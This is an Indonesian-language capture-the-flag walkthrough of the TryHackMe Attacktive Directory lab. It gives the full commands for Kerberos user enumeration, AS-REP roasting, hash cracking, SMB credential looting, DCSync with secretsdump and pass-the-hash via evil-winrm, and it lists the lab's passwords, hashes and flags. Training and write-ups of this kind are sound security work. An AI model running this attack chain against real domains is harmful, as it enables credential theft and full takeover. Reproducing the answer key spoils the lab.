Platform: TryHackMe

Room: Attacktive Directory

Link: https://tryhackme.com/room/attacktivedirectory

Task 1 — Deploy The Machine

Task ini bertujuan untuk menyiapkan environment agar mesin target pada lab Attacktive Directory dapat diakses.

Mengunduh Konfigurasi VPN:

  1. Buka halaman Access pada akun TryHackMe.
  2. Di tab Machines, download file konfigurasi .ovpn.
None

Menghubungkan ke VPN

Jalankan OpenVPN menggunakan file konfigurasi yang telah diunduh.

sudo openvpn nama-file.ovpn
None

Verifikasi koneksi di halaman access. Pastikan muncul tanda Connected beserta IP internal.

None

Alternatif Menggunakan AttackBox

Jika tidak ingin menggunakan VPN lokal, TryHackMe menyediakan mesin browser bernama:

  • AttackBox
  • In-Browser Kali

Deploy Mesin Target

Setelah koneksi berhasil:

  1. Klik Start Machine pada room Attacktive Directory.
  2. Tunggu beberapa saat hingga mesin target berjalan.
  3. TryHackMe akan memberikan IP address target machine.
None

Task 2 — Setup: Instalasi Tools

Pada tahap ini dilakukan instalasi beberapa tools yang diperlukan untuk melakukan enumeration dan eksploitasi Active Directory, yaitu:

  • Impacket → toolkit Python untuk protokol jaringan Windows
  • BloodHound → tool analisis hubungan dalam Active Directory
  • Neo4j → graph database yang digunakan oleh BloodHound

1. Instalasi Impacket

sudo git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
sudo pip3 install -r /opt/impacket/requirements.txt
cd /opt/impacket/
sudo pip3 install .
sudo python3 setup.py install
None

Jika gagal

sudo apt install impacket-scripts
None

2. Instalasi Bloodhound & Neo4j

sudo apt install bloodhound neo4j
None

Task 3 — Enumerasi: Welcome to Attacktive Directory

Mulai melakukan service enumeration terhadap target.

Nmap Scan

Langkah pertama enumerasi adalah melakukan nmap scan untuk mengetahui port dan service yang berjalan:

nmap -sC -sV 10.49.186.134
None

Dari hasil scan, terlihat beberapa informasi penting:

  • Domain: spookysec.local
  • NetBIOS Domain Name: THM-AD
  • Kerberos aktif di port 88
  • SMB aktif di port 139/445
  • LDAP aktif di port 389

Enumerasi SMB dengan enum4linux

Untuk mengenumerasi informasi di port 139/445, digunakan enum4linux:

enum4linux
None
enum4linux -a 10.49.186.134
None
None

Jawaban:

  • What tool will allow us to enumerate port 139/445? enum4linux
  • What is the NetBIOS-Domain Name of the machine? THM-AD
  • What invalid TLD do people commonly use for their Active Directory Domain? .local

Task 4 — Enumerasi User via Kerberos

Kerbrute — Username Enumeration

kerbrute -h
None

Buat file userlist.txt:

None

Karena Kerberos aktif di port 88, kita bisa menggunakan Kerbrute untuk menemukan username yang valid tanpa menyebabkan account lockout:

kerbrute userenum -d spookysec.local --dc 10.49.186.134 userlist.txt
None

Dari hasil enumerasi, ditemukan beberapa username valid. Dua yang paling menarik perhatian adalah:

  • svc-admin — akun service, berpotensi memiliki konfigurasi lemah
  • backup — akun backup domain controller, sangat menarik!

Jawaban:

  • What command within Kerbrute will allow us to enumerate valid usernames? userenum
  • What notable account is discovered? svc-admin
  • What is the other notable account is discovered? backup

Task 5 — Eksploitasi: Abusing Kerberos

ASREPRoasting terjadi ketika akun user memiliki flag "Does not require Pre-Authentication". Artinya, siapa pun bisa meminta Kerberos ticket untuk akun tersebut tanpa perlu password.

Mengambil Hash dengan GetNPUsers.py

sudo python3 /opt/impacket/examples/GetNPUsers.py spookysec.local/ \
  -usersfile userlist.txt \
  -dc-ip 10.49.186.134 \
  -format hashcat \
  -outputfile hashes.txt
None
None

Hasilnya, ditemukan akun svc-admin tidak memerlukan pre-authentication, sehingga berhasil mendapatkan hash-nya.

Cracking Hash dengan Hashcat

Tipe hash yang didapat adalah Kerberos 5 AS-REP etype 23 (mode hashcat: 18200).

None

Ekstrak wordlist:

 
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz

Crack hash:

hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt
None
None

Password berhasil di-crack.

Jawaban:

  • We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password? svc-admin
  • Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? Kerberos 5 AS-REP etype 23
  • What mode is the hash? 18200
  • Now crack the hash with the modified password list provided, what is the user accounts password? management2005

Task 6 — Enumerasi: Back to the Basics

Dengan credentials svc-admin : management2005, kita sekarang punya akses lebih besar. Mari enumerate SMB shares!

List SMB Shares

None
smbclient -L //10.49.186.134 -U svc-admin
None

Ditemukan 6 remote shares. Share backup dapat diakses oleh user svc-admin.

Akses Share "backup"

smbclient //10.49.186.134/backup -U svc-admin
smb: \> ls
smb: \> get backup_credentials.txt
None

Lihat isi file:

cat backup_credentials.txt
None

Decode Base64:

echo "YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw" | base64 -d
None

Jawaban:

  • What utility can we use to map remote SMB shares? smbclient
  • Which option will list shares? -L
  • How many remote shares is the server listing? 6
  • There is one particular share that we have access to that contains a text file. Which share is it? backup
  • What is the content of the file? YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
  • Decoding the contents of the file, what is the full contents? backup@spookysec.local:backup2517860

Task 7 — Domain Privilege Escalation

Akun backup adalah backup account untuk Domain Controller. Akun ini memiliki izin khusus: Replicating Directory Changes yang memungkinkan sinkronisasi semua perubahan Active Directory, termasuk password hash.

Dump NTDS.DIT dengan secretsdump.py

impacket-secretsdump spookysec.local/backup:backup2517860@10.49.186.134
None
None

Berhasil didapatkan hash NTLM semua user di domain! Metode yang digunakan adalah DRSUAPI (Directory Replication Service).

Hash Administrator:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::

Pass The Hash dengan Evil-WinRM

Tidak perlu crack password, cukup gunakan Pass The Hash.

None
evil-winrm -i 10.49.186.134 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
None

Jawaban:

  • What method allowed us to dump NTDS.DIT? DRSUAPI
  • What is the Administrators NTLM hash? 0e0363213e37b94221497260b0bcb4fc
  • What method of attack could allow us to authenticate as the user without the password? Pass The Hash
  • Using a tool called Evil-WinRM what option will allow us to use a hash? -H

Task 8 — Flag Submission Panel

Setelah punya akses Administrator, dapat diambil semua flag dari desktop masing-masing user.

*Evil-WinRM* PS C:\Users\Administrator\Documents> ls C:\Users
None

Flag svc-admin:

cd C:\Users\svc-admin\Desktop
type user.txt.txt
None

Flag: TryHackMe{K3rb3r0s_Pr3_4uth}

Flag backup:

cd C:\Users\backup\Desktop
type PrivEsc.txt
None

Flag: TryHackMe{B4ckM3UpSc0tty!}

Flag Administrator:

cd C:\Users\Administrator\Desktop
type root.txt
None

Flag: TryHackMe{4ctiveD1rectoryM4st3r}

Key Takeaways

  1. Active Directory menyimpan banyak informasi yang bisa dieksploitasi jika dikonfigurasi dengan buruk.
  2. ASREPRoasting sangat berbahaya jika pre-authentication dinonaktifkan pada akun user.
  3. Prinsip Least Privilege harus diterapkan. Akun backup tidak seharusnya punya hak DCSync.
  4. NTLM Hash bisa langsung digunakan untuk autentikasi tanpa perlu di-crack (Pass The Hash).
  5. Credential yang tersimpan di SMB shares tanpa enkripsi adalah risiko keamanan besar.